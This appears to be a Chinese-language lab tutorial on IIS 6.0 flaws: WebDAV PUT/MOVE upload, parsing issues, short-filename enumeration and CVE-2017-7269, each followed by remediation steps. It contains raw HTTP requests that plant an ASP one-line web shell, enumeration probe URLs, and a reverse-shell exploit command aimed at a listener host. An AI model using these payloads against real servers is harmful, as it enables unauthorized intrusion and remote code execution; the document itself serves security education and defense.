常见框架漏洞(五)----中间件IIS6
一、【PUT漏洞】
漏洞描述:IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写⼊的权限,造成任意⽂件上传。
版本:IIS 6.0
1. 环境
fofa搜素环境:"IIS-6.0"
或者环境搭建:本地搭建2003 server
本文使用本地搭建的VM虚拟机 2003 server。
2. 开启 WebDAV 和写权限:
3.⽤burpsuite 提交OPTIONS 查看⽀持的协议
如果无法访问,注意是否是网站ip绑定不正确。同时注意虚拟网卡是否有效。如果无效,右击WLAN图标,网络设置--高级网络设置,将VM1和VM8虚拟网卡禁用后再启用,查看网卡是否成功启用。
发现支持协议有 :PUT 。
4. PUT上传文档
⽤PUT上传⽂档,但不能直接上传⽅法脚本⽂档,可以先上传⼀个其他类型的⽂档,然后移动成
脚本⽂档:
PUT /test.txt HTTP/1.1
Host: 192.168.81.137
Content-Length: 23
<%eval request("cmd")%>
关闭拦截,再次访问网站,发现文件上传成功。
5.使⽤MOVE命令将其更名为脚本⽂档后缀:
MOVE /test.txt HTTP/1.1
Host: 192.168.81.137
Destination: http://192.168.81.137/shell.asp
【一个空格】
关闭BP拦截,发现 文件修改后缀成功
6. 使用木马连接工具连接shell.asp文件【蚁剑】
访问shell.asp文件
连接成功
7.修复:
1.关闭webdav ;
2.关闭写⼊权限 。
二、IIS6.0解析漏洞
IIS6解析漏洞,在之前介绍的文件解析漏洞中提到过。
主要分为:目录解析漏洞,分号截断解析漏洞,畸形文件解析漏洞【.asa 、.cer 、 .cdx】
文章链接:文件解析漏洞靶场---解析详解-CSDN博客
三、IIS短⽂件漏洞
漏洞描述:
Windows 以 8.3 格式⽣成与 MS-DOS 兼容的(短)⽂件名,以允许基于 MS-DOS 或 16
位 Windows的程序访问这些⽂件。在cmd下输⼊" dir /x"即可看到短⽂件名的效果。
原理:
当后缀⼩于4时,短⽂件名产⽣需要⽂件(夹)名前缀字符⻓度⼤于等于9位。
当后缀⼤于等于4时,⽂件名前缀字符⻓度即使为1,也会产⽣短⽂件名。
123123123123.txt
⽬前IIS⽀持短⽂件名猜测的HTTP⽅法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种;IIS 8.0之后的版本只能通过OPTIONS和TRACE⽅法被猜测成功。
1. 服务开启
IIS8.0以下版本需要开启ASP.NET⽀持,IIS>=8.0版本,即使没有安装ASP.NET,通过
OPTIONS和TRACE⽅法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进⾏复现。
环境是:本地搭建的2003 server
2. dir /x 查看是否有短文件名
cmd中,cd切换到网站绝对路径下,输入:dir /x ,可以看到是有短文件名。
3.短文件名特征:
(1)只显示前6位的字符,后续字符⽤~1代替。其中数字1是可以递增。如果存在⽂件名类似的⽂件,则前⾯的 6个字符是相同的,后⾯的数字进⾏递增。
(2)后缀名最⻓只有3位,超过3位的会⽣成短⽂件名,且后缀多余的部分会截断。
(3)所有⼩写字⺟均转换成⼤写的字⺟ ;
(4)⻓⽂件名中包含多个” . ”的时候,以⽂件最后⼀个” . ”作为短⽂件名的后缀;
(5)⻓⽂件名前缀/⽂件夹名字符⻓度符合0-9和A-Z、a-z范围且需要⼤于等于9位才会⽣成短⽂件名,如果包含空格或者其他部分特殊字符,不论⻓度均会⽣成短⽂件。
4.使⽤payload验证⽬标是否存在IIS短⽂件名漏洞:
显示的404,说明⽬标存在该短⽂件名:
PS:* 可以匹配n个字符, n可以为0 :
以 abcde1231111.txt ⽂件为例:
(1)访问:http://192.168.81.137/*~1*/a.aspx
404,存在短文件名漏洞
(2)通过浏览器访问⼀个不存在的短⽂件名,会返回400状态码, 400说明该⽂件不存在:
访问:http://192.168.81.137/maxtdy*~1*/a.aspx
(3)通过浏览器访问上⾯两个payload,根据返回的结果,可以说明⽬标存在IIS短⽂件漏洞 ;
5. 判断漏洞存在后,接下来⼿⼯详细分析猜解IIS短⽂件名:
还以 abcde1231111.txt ⽂件为例,分别访问 :
(1)■ http://192.168.81.137/a*~1*/a.aspx 404状态码

6.通过上⾯的⽅法接着往后猜:

(2)接着就是判断是⽬录还是⽂件。
○ http://192.168.81.137/abcde*~1/a.aspx


(4)第⼀个是字符是t开头的,接着往后测试:
○ http://upload.moonteam.com/abcde*~1.txt*/a.aspx 404,表示存在
(5)按照上⾯的⽅法依次猜解得到该短⽂件名的后缀是txt,短⽂件名为 abcde~1.txt ,可以接着
猜解 abcde1231111.txt⽂件名 。
以上就是原理及漏洞产⽣的流程。
(6)接下来使⽤IIS短⽂件名扫描软件,获取⽬标存在哪些短⽂件名;
⼯具:https://github.com/lijiejie/IIS_shortname_Scanner
⽤法:python2 iis_shortname_Scan.py 目标网址【这里就是http://192.168.81.137】


7.防御手段:
1. 升级.net framework ;
2. 修改注册表键值:
a. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 修改
NtfsDisable8dot3NameCreation为1。
b. 修改完成后,需要重启系统⽣效。
c. 命令⾏关闭 fsutil behavior set disable8dot3 1 。
d. 新建⽂件 aaaaaaaaaaaaaazzzzz.txt 已经没有短⽂件名了。
e. 注:此⽅法只能禁⽌NTFS8.3格式⽂件名创建,已经存在的⽂件的短⽂件名⽆法移除,需
要重新复制才会消 失。如果不重新复制,已经存在的短⽂件名则是不会消失的。
f. 将web⽂件夹的内容拷⻉到另⼀个位置,如c:\www到c:\ww,然后删除原⽂件夹,再重
命名c:\ww到 c:\www。
三、IIS RCE-CVE-2017-7269
漏洞介绍:
Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的
ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http:// 开头的⻓标头执 ⾏任意代码 PROPFIND请求。
影响范围:WiNdows Server 2003 R2上使⽤IIS6.0并开启 WebDAV扩展。
1. 开启fastcgi和WebDAV
2.利⽤⼯具:
https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269
反弹shell:python2 iis6exp 目标ip 目标端口 kali的ip kali的端口
kali下载⼯具,nc监听:
3.防御手段
1.关闭 WebDav服务 ;
2.升级 ;
3.部署安全设备 。
常见框架漏洞:中间件IIS-6.x 的介绍和练习结束啦
希望有所帮助,再见。。。【本文后补的】
------------------2025/4/6 19:45